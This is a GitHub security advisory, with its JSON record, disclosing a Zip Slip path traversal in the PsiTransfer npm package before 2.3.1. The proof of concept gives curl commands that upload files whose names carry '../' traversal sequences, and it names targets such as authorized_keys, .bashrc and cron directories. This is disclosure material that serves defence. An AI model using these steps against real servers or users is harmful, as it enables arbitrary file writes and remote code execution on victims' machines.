ghsa-xphh-5v4r-r3rx
Vulnerability from github
Published
2025-12-30 19:25
Modified
2025-12-30 19:25
Summary
PsiTransfer has Zip Slip Path Traversal via TAR Archive Download
Details

Summary

A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. ../../../.ssh/authorized_keys). When a victim downloads the bucket as a .tar.gz archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.

Details

The vulnerability exists in the archive download functionality in lib/endpoints.js where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.

``` lib/endpoints.js:275

const entry = pack.entry({ name: info.metadata.name, size: info.size }); ```

lib/endpoints.js:372 assert(meta.name, 'tus meta prop missing: name');

PoC

I. Upload file with malicious filename (no authentication required).

``` MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64) SID=$(echo -n "evil" | base64) RETENTION=$(echo -n "3600" | base64)

curl -X POST http://TARGET:3000/files \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Length: 15" \ -H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}" ```

II. Complete upload with PATCH

curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Offset: 0" \ -H "Content-Type: application/offset+octet-stream" \ -d "MALICIOUS_CONTENT"

III. Victim downloads and extracts TAR

curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz tar -tzf files.tar.gz

Impact

Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive. RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc... No Authentication Required: Default configuration has uploadPass: false. Social Engineering Vector: Attacker sends malicious download link to victim.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "psitransfer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-30T19:25:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.\n\n### Details\n\nThe vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.\n\n```\nlib/endpoints.js:275\n\nconst entry = pack.entry({ name: info.metadata.name, size: info.size });\n```\n\n```\nlib/endpoints.js:372\nassert(meta.name, \u0027tus meta prop missing: name\u0027);\n```\n\n### PoC\n\nI. Upload file with malicious filename (no authentication required).\n\n```\nMALICIOUS_NAME=$(echo -n \"../../../tmp/dp.txt\" | base64)\nSID=$(echo -n \"evil\" | base64)\nRETENTION=$(echo -n \"3600\" | base64)\n\ncurl -X POST http://TARGET:3000/files \\\n  -H \"Tus-Resumable: 1.0.0\" \\\n  -H \"Upload-Length: 15\" \\\n  -H \"Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}\"\n```\n\nII. Complete upload with PATCH\n\n```\ncurl -X PATCH \"http://TARGET:3000/files/evil++\u003cUUID\u003e\" \\\n  -H \"Tus-Resumable: 1.0.0\" \\\n  -H \"Upload-Offset: 0\" \\\n  -H \"Content-Type: application/offset+octet-stream\" \\\n  -d \"MALICIOUS_CONTENT\"\n```\n  \nIII. Victim downloads and extracts TAR\n\n```\ncurl \"http://TARGET:3000/files/evil++\u003cHASH\u003e.tar.gz\" -o files.tar.gz\ntar -tzf files.tar.gz\n```\n\n### Impact\n\nArbitrary File Write: Attacker can write files anywhere on victim\u0027s filesystem when they extract the archive.\nRCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc...\nNo Authentication Required: Default configuration has **uploadPass: false**.\nSocial Engineering Vector: Attacker sends malicious download link to victim.",
  "id": "GHSA-xphh-5v4r-r3rx",
  "modified": "2025-12-30T19:25:04Z",
  "published": "2025-12-30T19:25:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/psi-4ward/psitransfer/security/advisories/GHSA-xphh-5v4r-r3rx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/psi-4ward/psitransfer/commit/6c71bc0b8afa1ffa7aabd6c5fb28677651fd57b6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/psi-4ward/psitransfer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/psi-4ward/psitransfer/releases/tag/v2.3.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PsiTransfer has Zip Slip Path Traversal via TAR Archive Download"
}


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